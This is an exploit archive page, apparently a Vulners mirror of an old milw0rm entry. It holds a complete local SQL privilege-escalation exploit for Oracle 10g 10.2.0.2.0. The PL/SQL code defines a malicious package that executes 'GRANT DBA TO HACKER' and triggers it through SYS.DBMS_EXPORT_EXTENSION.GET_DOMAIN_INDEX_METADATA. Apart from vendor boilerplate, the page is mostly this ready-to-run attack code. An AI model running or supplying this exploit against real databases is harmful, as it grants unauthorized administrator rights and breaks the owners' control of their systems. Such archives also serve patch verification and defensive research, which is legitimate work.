Lucene search
K

Oracle <= 10g Release 2 (DBMS_EXPORT_EXTENSION) Local SQL Exploit

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 18 Views

Oracle 10g 10.2.0.2.0 Local SQL Exploit for DBMS_EXPORT_EXTENSIO

Code

                                                /* 0day, description is wrong. /str0ke */

/*
* Fucking NON-0 day($) exploit for Oracle 10g 10.2.0.2.0
*
* Patch your database now!
*
* by N1V1Hd $3c41r3
*
*/

CREATE OR REPLACE
PACKAGE MYBADPACKAGE AUTHID CURRENT_USER
IS
FUNCTION ODCIIndexGetMetadata (oindexinfo SYS.odciindexinfo,P3
VARCHAR2,p4 VARCHAR2,env SYS.odcienv)
RETURN NUMBER;
END;
/

CREATE OR REPLACE PACKAGE BODY MYBADPACKAGE
IS
FUNCTION ODCIIndexGetMetadata (oindexinfo SYS.odciindexinfo,P3
VARCHAR2,p4 VARCHAR2,env SYS.odcienv)
RETURN NUMBER
IS
pragma autonomous_transaction;
BEGIN
EXECUTE IMMEDIATE &#39;GRANT DBA TO HACKER&#39;;
COMMIT;
RETURN(1);
END;

END;
/

DECLARE
INDEX_NAME VARCHAR2(200);
INDEX_SCHEMA VARCHAR2(200);
TYPE_NAME VARCHAR2(200);
TYPE_SCHEMA VARCHAR2(200);
VERSION VARCHAR2(200);
NEWBLOCK PLS_INTEGER;
GMFLAGS NUMBER;
v_Return VARCHAR2(200);
BEGIN
INDEX_NAME := &#39;A1&#39;; INDEX_SCHEMA := &#39;HACKER&#39;;
TYPE_NAME := &#39;MYBADPACKAGE&#39;; TYPE_SCHEMA := &#39;HACKER&#39;;
VERSION := &#39;10.2.0.2.0&#39;; GMFLAGS := 1;

v_Return := SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_METADATA(
INDEX_NAME =&#62; INDEX_NAME, INDEX_SCHEMA =&#62; INDEX_SCHEMA, TYPE_NAME
=&#62; TYPE_NAME,
TYPE_SCHEMA =&#62; TYPE_SCHEMA, VERSION =&#62; VERSION, NEWBLOCK =&#62;
NEWBLOCK, GMFLAGS =&#62; GMFLAGS
);
END;
/

// milw0rm.com [2006-04-26]

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation